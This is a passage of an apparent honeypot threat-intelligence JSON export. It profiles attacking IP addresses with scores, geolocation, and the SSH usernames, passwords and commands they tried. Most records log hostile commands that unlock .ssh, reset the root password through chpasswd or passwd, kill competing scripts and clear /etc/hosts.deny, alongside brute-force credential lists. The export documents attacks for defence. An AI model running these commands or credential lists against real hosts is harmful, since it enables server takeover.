        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2138,
        "Suricata": 886
      }
    },
    "176.65.132.153": {
      "attack_count": 1270,
      "first_seen": "2026-04-25T06:21:16.391Z",
      "last_seen": "2026-04-28T22:45:12.735Z",
      "sessions": 254,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "user",
        "admin",
        "ftpuser",
        "dev",
        "jenkins",
        "ubuntu",
        "alex",
        "ams",
        "andrew",
        "david",
        "debian",
        "elasticsearch",
        "marketing",
        "milad",
        "oracle",
        "student",
        "test",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "12345678",
        "1",
        "12345",
        "111",
        "1111",
        "p@ssw0rd",
        "password",
        "1qaz@WSX",
        "Aa123456",
        "P@ssw0rd",
        "admin",
        "flow",
        "!QAZ2wsx3edc4rfv",
        "0000",
        "00000000",
        "0987654321",
        "1123"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 42.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1966,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T06:21:16.391000+00:00",
        "last_seen_30d": "2026-04-28T22:46:16.485000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1270,
        "Suricata": 696
      }
    },
    "103.67.80.61": {
      "attack_count": 594,
      "first_seen": "2026-04-08T17:04:36.715Z",
      "last_seen": "2026-04-11T22:17:32.959Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "git",
        "user",
        "frappe",
        "ftptest",
        "admin",
        "ali",
        "bot",
        "free",
        "hadoop",
        "lek",
        "md",
        "mohsen",
        "nami",
        "postgres",
        "precio01",
        "readonly",
        "server"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!QAZ@WSX3edc4rfv",
        "1",
        "112233ee",
        "123",
        "123!@#qweQWE",
        "1234567890",
        "123456789AA",
        "1234qwer",
        "1qaz@WSX..",
        "20252025",
        "55555",
        "A123456+",
        "AAA123456789",
        "Admin#1234",
        "Bot29",
        "Frappe11",
        "Frappe23"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123!@#qweQWE\\nDnjcm9RUOVKM\\nDnjcm9RUOVKM\\n\"|passwd",
        "echo \"1234567890\\n7bsuBH4XeET2\\n7bsuBH4XeET2\\n\"|passwd",
        "echo \"AAA123456789\\neMiauQQVGadz\\neMiauQQVGadz\\n\"|passwd",
        "echo \"ftptesttest\\nI5u5iXpftfjl\\nI5u5iXpftfjl\\n\"|passwd",
        "echo \"root:CYGY8w8csAWM\"|chpasswd|bash",
        "echo -e \"123!@#qweQWE\\nDnjcm9RUOVKM\\nDnjcm9RUOVKM\"|passwd|bash",
        "echo -e \"1234567890\\n7bsuBH4XeET2\\n7bsuBH4XeET2\"|passwd|bash",
        "echo -e \"AAA123456789\\neMiauQQVGadz\\neMiauQQVGadz\"|passwd|bash",
        "echo -e \"ftptesttest\\nI5u5iXpftfjl\\nI5u5iXpftfjl\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 152001,
      "as_org": "PT Komunikasi Profesional Indonesia",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.6,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 730,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T17:04:36.715000+00:00",
        "last_seen_30d": "2026-04-11T22:18:40.284000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 594,
        "Suricata": 136
      }
    },
    "43.132.227.251": {
      "attack_count": 554,
      "first_seen": "2026-04-02T02:06:41.666Z",
      "last_seen": "2026-04-18T18:20:41.058Z",
      "sessions": 76,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "odoo",
        "test",
        "ubuntu",
        "user",
        "app",
        "backupuser",
        "claude",
        "mahdi",
        "n8n",
        "runner",
        "server",
        "teamspeak",
        "test3",
        "test8",
        "tianhao",
        "ttuser",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "!QAZ2wsx2024",
        "!QAZ4esz",
        "!QAZzaq1",
        "*admin*",
        "11",
        "123",
        "123456",
        "1q2w3e4r%",
        "1qaz3edc",
        "2024@2024",
        "3edc$RFV5tgb^YHN",
        "6yhn@#",
        "Admin1234",
        "Carlo@123",
        "Claude18",
        "Google1234",
        "NeimengguDX"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:KnuP8dhz7sky\"|chpasswd|bash",
        "echo \"root:fuw5caCnfA1Q\"|chpasswd|bash",
        "echo \"root:k6seeVVlQvVk\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 731,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T02:06:41.666000+00:00",
        "last_seen_30d": "2026-04-18T18:21:44.865000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 554,
        "Suricata": 177
      }
    },
    "143.110.253.198": {
      "attack_count": 467,
      "first_seen": "2026-04-20T16:31:24.520Z",
      "last_seen": "2026-04-20T17:12:21.215Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "ubuntu",
        "user",
        "ftptest",
        "intern",
        "marc",
        "morgan",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx#EDC",
        "1234",
        "1q2w3e4r5t.",
        "@2025",
        "A123456F",
        "Asdf12345",
        "Ftpuser08",
        "L@y3rh0st2026",
        "P4ssw0rd",
        "P@ssw0rd@1234",
        "Qaz123456789",
        "Qazwsx001!@",
        "Qazwsx1111111!",
        "Reset@123",
        "Root2023@123",
        "ZAQ!2wsx654321..",
        "abcdabcd",
        "asdfgh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Ftpuser08\\nINayEPWm5UFJ\\nINayEPWm5UFJ\\n\"|passwd",
        "echo \"root:IEjKXXKd5SiI\"|chpasswd|bash",
        "echo \"root:UwDtHO6FlA3y\"|chpasswd|bash",
        "echo \"root:qbrhSjRmXAJ9\"|chpasswd|bash",
        "echo \"zaq1@WSX\\nRY2irQ6W1x0C\\nRY2irQ6W1x0C\\n\"|passwd",
        "echo -e \"Ftpuser08\\nINayEPWm5UFJ\\nINayEPWm5UFJ\"|passwd|bash",
        "echo -e \"zaq1@WSX\\nRY2irQ6W1x0C\\nRY2irQ6W1x0C\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 545,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T16:31:24.520000+00:00",
        "last_seen_30d": "2026-04-20T17:13:29.766000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 467,
        "Suricata": 78
      }
    },
    "34.85.163.94": {
      "attack_count": 454,
      "first_seen": "2026-04-15T09:14:20.156Z",
      "last_seen": "2026-04-17T03:43:01.666Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ftpuser",
        "testuser",
        "admin",
        "ali",
        "deploy",
        "dev",
        "ftptest",
        "git",
        "loguser",
        "master",
        "minecraft",
        "nikita",
        "nominatim",
        "oracle",
        "server",
        "steam",
        "teamspeak"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "951753",
        "A123456Z",
        "AA123456AA",
        "Admin123#",
        "Admin19!",
        "Admin@123456",
        "Asdf..",
        "Dev26",
        "P@ssw0rd123",
        "P@ssw0rdz",
        "Passw0rd@123",
        "QWE!123456",
        "QWERTYU",
        "Qaz741852",
        "Qazwsx2019!!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:HoXDuKSkoxkD\"|chpasswd|bash",
        "echo \"root:t3nttywhh4rb\"|chpasswd|bash",
        "echo \"root:zyCFBKfMVUQu\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 584,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T09:14:20.156000+00:00",
        "last_seen_30d": "2026-04-17T03:44:02.119000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 454,
        "Suricata": 130
      }
    },
    "115.21.72.248": {
      "attack_count": 430,
      "first_seen": "2026-04-02T04:32:09.937Z",
      "last_seen": "2026-04-17T08:06:38.724Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "ubuntu",
        "ali",
        "claude",
        "docker",
        "linkdood",
        "salma",
        "sammy",
        "steam",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1029384756",
        "1212",
        "123456",
        "1234560123",
        "123aaa123",
        "742024",
        "Abc123!!!",
        "Admin1@",
        "BBaa112233",
        "Claude13!",
        "Ctyun@12345",
        "Ftpuser11",
        "Kk123456789",
        "P@ssw9rd",
        "Pass123456",
        "Password@123",
        "QWERqwer123",
        "Qazwsx000$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Ftpuser11\\nxZLpOPdHI5fw\\nxZLpOPdHI5fw\\n\"|passwd",
        "echo \"root:2mp6SeabDirj\"|chpasswd|bash",
        "echo \"root:KF5tnZSWIDc9\"|chpasswd|bash",
        "echo -e \"Ftpuser11\\nxZLpOPdHI5fw\\nxZLpOPdHI5fw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yangcheon-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 551,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T04:32:09.937000+00:00",
        "last_seen_30d": "2026-04-17T08:07:44.029000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 121
      }
    },
    "116.110.210.155": {
      "attack_count": 424,
      "first_seen": "2026-04-24T03:22:15.406Z",
      "last_seen": "2026-04-24T03:50:38.428Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "cisco",
        "support",
        "ubnt",
        "*****",
        "1234",
        "am",
        "ashish",
        "auto",
        "bin",
        "brenda",
        "client",
        "config",
        "developer",
        "dubai",
        "george",
        "geral",
        "help",
        "helpdesk"
      ],
      "passwords_attempted": [
        "1234",
        "password",
        "12345",
        "admin",
        "*****",
        "039715582364317",
        "0l0ctyQh243O63uD",
        "112233",
        "123",
        "123456",
        "12345678",
        "123456789",
        "@",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin123",
        "administrator"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 640,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T03:22:15.406000+00:00",
        "last_seen_30d": "2026-04-24T03:51:48.093000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 424,
        "Suricata": 216
      }
    },
    "195.248.240.39": {
      "attack_count": 400,
      "first_seen": "2026-04-04T06:51:04.619Z",
      "last_seen": "2026-04-04T07:38:34.846Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "odoo",
        "user",
        "bin",
        "claude",
        "deploy",
        "minecraft",
        "n8n",
        "steam",
        "superuser",
        "tmpuser",
        "usera"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!QAZ4rfv",
        ",ki89ol.",
        "123",
        "1qazxsw2",
        "654321",
        "AAaa123456",
        "Asd123456789",
        "Changeme_123",
        "P@ssWord1",
        "P@ssw0rd*",
        "Qq111111",
        "Qq123456!@#",
        "ZXCVBN",
        "a123456..",
        "claude15",
        "dell@2026",
        "eSER!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1qazxsw2\\n3vRS1Df4L9V0\\n3vRS1Df4L9V0\\n\"|passwd",
        "echo \"Changeme_123\\noPnSLtuIPBVo\\noPnSLtuIPBVo\\n\"|passwd",
        "echo \"ZXCVBN\\nMYDBGCaeWtkB\\nMYDBGCaeWtkB\\n\"|passwd",
        "echo \"root:5d2Kcp3G1TXm\"|chpasswd|bash",
        "echo -e \"1qazxsw2\\n3vRS1Df4L9V0\\n3vRS1Df4L9V0\"|passwd|bash",
        "echo -e \"Changeme_123\\noPnSLtuIPBVo\\noPnSLtuIPBVo\"|passwd|bash",
        "echo -e \"ZXCVBN\\nMYDBGCaeWtkB\\nMYDBGCaeWtkB\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 202269,
      "as_org": "BitCommand LLC",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 475,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T06:51:04.619000+00:00",
        "last_seen_30d": "2026-04-04T07:39:36.220000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 400,
        "Suricata": 75
      }
    },
    "35.225.56.202": {
      "attack_count": 400,
      "first_seen": "2026-04-20T19:44:20.192Z",
      "last_seen": "2026-04-20T20:19:11.169Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "deploy",
        "myuser",
        "odoo",
        "dbuser",
        "ftpuser",
        "odoo15",
        "oracle",
        "sammy",
        "test",
        "tushar",
        "ubuntu",
        "userftp",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "781220",
        "88888888",
        "@12345678",
        "Aa147258!",
        "Admin12!",
        "Alibaba123",
        "Change2024",
        "Ftpuser",
        "Odoo2",
        "Oracle01!",
        "Qq!123456",
        "a12345678.",
        "dbuser@123",
        "frappe12!",
        "mima1234",
        "myuserpassword",
        "odoo08",
        "odoo15"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Admin12!\\nsLGkxIExmp2u\\nsLGkxIExmp2u\\n\"|passwd",
        "echo \"frappe12!\\nBene9WYv0kn3\\nBene9WYv0kn3\\n\"|passwd",
        "echo \"myuserpassword\\nME3swFHEdh8S\\nME3swFHEdh8S\\n\"|passwd",
        "echo \"root:0j6CmrK1Xx8W\"|chpasswd|bash",
        "echo -e \"Admin12!\\nsLGkxIExmp2u\\nsLGkxIExmp2u\"|passwd|bash",
        "echo -e \"frappe12!\\nBene9WYv0kn3\\nBene9WYv0kn3\"|passwd|bash",
        "echo -e \"myuserpassword\\nME3swFHEdh8S\\nME3swFHEdh8S\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 473,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T19:44:20.192000+00:00",
        "last_seen_30d": "2026-04-20T20:20:12.264000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 400,
        "Suricata": 73
      }
    },
    "87.106.65.126": {
      "attack_count": 400,
      "first_seen": "2026-04-08T17:04:03.353Z",
      "last_seen": "2026-04-08T17:46:00.493Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "git",
        "ubuntu",
        "user",
        "ali",
        "admin",
        "bot",
        "frappe",
        "hadoop",
        "mohsen",
        "nami",
        "postgres",
        "precio01",
        "readonly",
        "test",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@WSX3edc4rfv",
        "112233ee",
        "123",
        "123!@#qweQWE",
        "123456",
        "1234567890",
        "1234qwer",
        "20252025",
        "A123456+",
        "Bot29",
        "Frappe23",
        "QQdd112233",
        "Qwe!@#123",
        "Qwerty#123",
        "User03!",
        "Vv@123456",
        "linux123",
        "mohsen"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123!@#qweQWE\\nZV6ZeBpVsX1x\\nZV6ZeBpVsX1x\\n\"|passwd",
        "echo \"1234567890\\nvkJcwOKtlwif\\nvkJcwOKtlwif\\n\"|passwd",
        "echo \"qazwsx\\ncv8eYfgH6I2d\\ncv8eYfgH6I2d\\n\"|passwd",
        "echo \"root:NQ15WocUsQ2j\"|chpasswd|bash",
        "echo -e \"123!@#qweQWE\\nZV6ZeBpVsX1x\\nZV6ZeBpVsX1x\"|passwd|bash",
        "echo -e \"1234567890\\nvkJcwOKtlwif\\nvkJcwOKtlwif\"|passwd|bash",
        "echo -e \"qazwsx\\ncv8eYfgH6I2d\\ncv8eYfgH6I2d\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 475,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T17:04:03.353000+00:00",
        "last_seen_30d": "2026-04-08T17:47:03.094000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 400,
        "Suricata": 75
      }
    },
    "103.143.238.100": {
      "attack_count": 384,
      "first_seen": "2026-04-11T23:52:55.330Z",
      "last_seen": "2026-04-20T05:59:32.271Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "claude",
